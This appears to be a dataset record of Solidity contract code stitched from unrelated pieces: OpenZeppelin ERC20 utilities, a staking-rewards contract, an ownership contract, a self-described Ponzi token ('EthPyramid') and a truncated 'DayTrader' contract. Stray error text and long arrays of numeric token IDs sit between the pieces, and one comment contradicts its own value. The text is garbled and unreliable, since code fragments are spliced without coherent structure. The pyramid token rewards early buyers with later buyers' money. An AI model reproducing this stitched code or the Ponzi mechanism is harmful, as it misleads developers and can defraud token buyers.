`ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File openzeppelin-solidity-2.3.0/contracts/token/ERC20/[email protected] pragma solidity ^0.5.0; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * > Note that this information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * `IERC20.balanceOf` and `IERC20.transfer`. */ function decimals() public view returns (uint8) { return _decimals; } } // File openzeppelin-solidity-2.3.0/contracts/utils/[email protected] pragma solidity ^0.5.0; /** * @dev Collection of functions related to the address type, */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * > It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File openzeppelin-solidity-2.3.0/contracts/token/ERC20/[email protected] pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File openzeppelin-solidity-2.3.0/contracts/utils/[email protected] pragma solidity ^0.5.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier * available, which can be aplied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. */ contract ReentrancyGuard { /// @dev counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; constructor () internal { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } } // File contracts/stakingv2/interfaces/IStakingRewardsV2.sol pragma solidity >=0.4.24; // https://docs.synthetix.io/contracts/source/interfaces/istakingrewards interface IStakingRewardsV2 { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; } // File contracts/stakingv2/StakingRewardsV2.sol pragma solidity ^0.5.16; // Inheritance // https://docs.synthetix.io/contracts/source/contracts/stakingrewards contract StakingRewardsV2 is IStakingRewardsV2, ReentrancyGuard, PausableV2 { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 7 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _rewardsToken, address _stakingToken ) public OwnedV2(_owner) { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); } /* ========== VIEWS ========== */ function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward) external onlyOwner updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token"); IERC20(tokenAddress).safeTransfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); }
ERROR: type should be string, got " https:docs.synthetix.io/contracts/source/contracts/owned"
contract OwnedV2 { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); }
1,565,339
[ 1, 4528, 30, 8532, 18, 11982, 451, 278, 697, 18, 1594, 19, 16351, 87, 19, 3168, 19, 16351, 87, 19, 995, 329, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 14223, 11748, 58, 22, 288, 203, 565, 1758, 1071, 3410, 31, 203, 565, 1758, 1071, 12457, 7458, 5541, 31, 203, 203, 203, 203, 565, 3885, 12, 2867, 389, 8443, 13, 1071, 288, 203, 3639, 2583, 24899, 8443, 480, 1758, 12, 20, 3631, 315, 5541, 1758, 2780, 506, 374, 8863, 203, 3639, 3410, 273, 389, 8443, 31, 203, 3639, 3626, 16837, 5033, 12, 2867, 12, 20, 3631, 389, 8443, 1769, 203, 565, 289, 203, 203, 565, 445, 12457, 3322, 1908, 5541, 12, 2867, 389, 8443, 13, 3903, 1338, 5541, 288, 203, 3639, 12457, 7458, 5541, 273, 389, 8443, 31, 203, 3639, 3626, 16837, 26685, 7458, 24899, 8443, 1769, 203, 565, 289, 203, 203, 565, 445, 2791, 5460, 12565, 1435, 3903, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 12457, 7458, 5541, 16, 315, 6225, 1297, 506, 12457, 7458, 1865, 1846, 848, 2791, 23178, 8863, 203, 3639, 3626, 16837, 5033, 12, 8443, 16, 12457, 7458, 5541, 1769, 203, 3639, 3410, 273, 12457, 7458, 5541, 31, 203, 3639, 12457, 7458, 5541, 273, 1758, 12, 20, 1769, 203, 565, 289, 203, 203, 565, 9606, 1338, 5541, 288, 203, 3639, 389, 3700, 5541, 5621, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 389, 3700, 5541, 1435, 3238, 1476, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 3410, 16, 315, 3386, 326, 6835, 3410, 2026, 3073, 333, 1301, 8863, 203, 565, 289, 203, 203, 565, 871, 16837, 26685, 7458, 12, 2867, 394, 5541, 1769, 203, 565, 871, 16837, 5033, 12, 2867, 1592, 5541, 16, 2 ]
pragma solidity ^0.4.18; contract EthPyramid { // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000; // 2^64 // CRR = 50% // CRR is Cash Reserve Ratio (in this case Crypto Reserve Ratio). // For more on this: check out https://en.wikipedia.org/wiki/Reserve_requirement int constant crr_n = 1; // CRR numerator int constant crr_d = 2; // CRR denominator // The price coefficient. Chosen such that at 1 token total supply // the amount in reserve is 0.5 ether and token price is 1 Ether. int constant price_coeff = -0x296ABF784A358468C; // Typical values that we have to declare. string constant public name = "EthPyramid"; string constant public symbol = "EPY"; uint8 constant public decimals = 18; // Array between each address and their number of tokens. mapping(address => uint256) public tokenBalance; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerToken; // Current contract balance in Ether uint256 public contractBalance; function EthPyramid() public {} // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function balanceOf(address _owner) public constant returns (uint256 balance) { return tokenBalance[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw() public { // Retrieve the dividends associated with the address the request came from. var balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Send the dividends to the address that requested the withdraw. contractBalance = sub(contractBalance, balance); msg.sender.transfer(balance); } // Converts the Ether accrued as dividends back into EPY tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function reinvestDividends() public { // Retrieve the dividends associated with the address the request came from. var balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint value_ = (uint) (balance); // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); // msg.sender is the address of the caller. var sender = msg.sender; // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) var res = reserve() - balance; // 10% of the total Ether sent is used to pay existing holders. var fee = div(value_, 10); // The amount of Ether used to purchase new tokens for the caller. var numEther = value_ - fee; // The number of tokens which can be purchased for numEther. var numTokens = calculateDividendTokens(numEther, balance); // The buyer fee, scaled by the scaleFactor variable. var buyerFee = fee * scaleFactor; // Check that we have tokens in existence (this should always be true), or // else you're gonna have a bad time. if (totalSupply > 0) { // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. var bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther) * (uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. var holderReward = fee * bonusCoEff; buyerFee -= holderReward; // Fee is distributed to all existing token holders before the new tokens are purchased. // rewardPerShare is the amount gained per token thanks to this buy-in. var rewardPerShare = holderReward / totalSupply; // The Ether value per token is increased proportionally. earningsPerToken += rewardPerShare; } // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalSupply = add(totalSupply, numTokens); // Assign the tokens to the balance of the buyer. tokenBalance[sender] = add(tokenBalance[sender], numTokens); // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[sender] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellMyTokens() public { var balance = balanceOf(msg.sender); sell(balance); } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellMyTokens(); withdraw(); } // Gatekeeper function to check if the amount of Ether being sent isn't either // too small or too large. If it passes, goes direct to buy(). function fund() payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. if (msg.value > 0.000001 ether) { contractBalance = add(contractBalance, msg.value); buy(); } else { revert(); } } // Function that returns the (dynamic) price of buying a finney worth of tokens. function buyPrice() public constant returns (uint) { return getTokensForEther(1 finney); } // Function that returns the (dynamic) price of selling a single token. function sellPrice() public constant returns (uint) { var eth = getEtherForTokens(1 finney); var fee = div(eth, 10); return eth - fee; } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)(earningsPerToken * tokenBalance[_owner]) - payouts[_owner]) / scaleFactor; } // Version of withdraw that extracts the dividends and sends the Ether to the caller. // This is only used in the case when there is no transaction data, and that should be // quite rare unless interacting directly with the smart contract. function withdrawOld(address to) public { // Retrieve the dividends associated with the address the request came from. var balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Send the dividends to the address that requested the withdraw. contractBalance = sub(contractBalance, balance); to.transfer(balance); } // Internal balance function, used to calculate the dynamic reserve value. function balance() internal constant returns (uint256 amount) { // msg.value is the amount of Ether sent by the transaction. return contractBalance - msg.value; } function buy() internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); // msg.sender is the address of the caller. var sender = msg.sender; // 10% of the total Ether sent is used to pay existing holders. var fee = div(msg.value, 10); // The amount of Ether used to purchase new tokens for the caller. var numEther = msg.value - fee; // The number of tokens which can be purchased for numEther. var numTokens = getTokensForEther(numEther); // The buyer fee, scaled by the scaleFactor variable. var buyerFee = fee * scaleFactor; // Check that we have tokens in existence (this should always be true), or // else you're gonna have a bad time. if (totalSupply > 0) { // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. var bonusCoEff = (scaleFactor - (reserve() + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther) * (uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. var holderReward = fee * bonusCoEff; buyerFee -= holderReward; // Fee is distributed to all existing token holders before the new tokens are purchased. // rewardPerShare is the amount gained per token thanks to this buy-in. var rewardPerShare = holderReward / totalSupply; // The Ether value per token is increased proportionally. earningsPerToken += rewardPerShare; } // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalSupply = add(totalSupply, numTokens); // Assign the tokens to the balance of the buyer. tokenBalance[sender] = add(tokenBalance[sender], numTokens); // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[sender] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function sell(uint256 amount) internal { // Calculate the amount of Ether that the holders tokens sell for at the current sell price. var numEthersBeforeFee = getEtherForTokens(amount); // 10% of the resulting Ether is used to pay remaining holders. var fee = div(numEthersBeforeFee, 10); // Net Ether for the seller after the fee has been subtracted. var numEthers = numEthersBeforeFee - fee; // *Remove* the numTokens which were just sold from the total supply. We're /definitely/ a crypto central bank. totalSupply = sub(totalSupply, amount); // Remove the tokens from the balance of the buyer. tokenBalance[msg.sender] = sub(tokenBalance[msg.sender], amount); // Update the payout array so that the seller cannot claim future dividends unless they buy back in. // First we compute how much was just paid out to the seller... var payoutDiff = (int256) (earningsPerToken * amount + (numEthers * scaleFactor)); // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. var etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. var rewardPerShare = etherFee / totalSupply; // The Ether value per token is increased proportionally. earningsPerToken = add(earningsPerToken, rewardPerShare); } } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount) { return sub(balance(), ((uint256) ((int256) (earningsPerToken * totalSupply) - totalPayouts) / scaleFactor)); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return sub(fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff), totalSupply); } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return sub(fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff), totalSupply); } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? var reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalSupply) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return sub(reserveAmount, fixedExp((fixedLog(totalSupply - tokens) - price_coeff) * crr_d/crr_n)); } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); var z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } // The below are safemath implementations of the four arithmetic operators // designed to explicitly prevent over- and under-flows of integer values. function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // This allows you to buy tokens by sending Ether directly to the smart contract // without including any transaction data (useful for, say, mobile wallet apps). function () payable public { // msg.value is the amount of Ether sent by the transaction. if (msg.value > 0) { fund(); } else { withdrawOld(msg.sender); } } } contract DayTrader{ // Bag sold event event BagSold( uint256 bagId, uint256 multiplier, uint256 oldPrice, uint256 newPrice, address prevOwner, address newOwner ); address public StocksAddress = 0xC6B5756B2AC3C4c3176cA4b768aE2689fF8b9Cee; EthPyramid epc = EthPyramid(StocksAddress); // Address of the contract creator address public contractOwner; // Default timeout is 4 hours uint256 public timeout = 1 hours; // Default starting price is 0.005 ether uint256 public startingPrice = 0.005 ether; Bag[] private bags; struct Bag { address owner; uint256 level; uint256 multiplier; // Multiplier must be rate * 100. example: 1.5x == 150 uint256 purchasedAt; } /// Access modifier for contract owner only functionality modifier onlyContractOwner() { require(msg.sender == contractOwner); _; } function DayTrader() public { contractOwner = msg.sender; createBag(150); } function createBag(uint256 multiplier) public onlyContractOwner { Bag memory bag = Bag({ owner: this, level: 0, multiplier: multiplier, purchasedAt: 0 }); bags.push(bag); } function setTimeout(uint256 _timeout) public 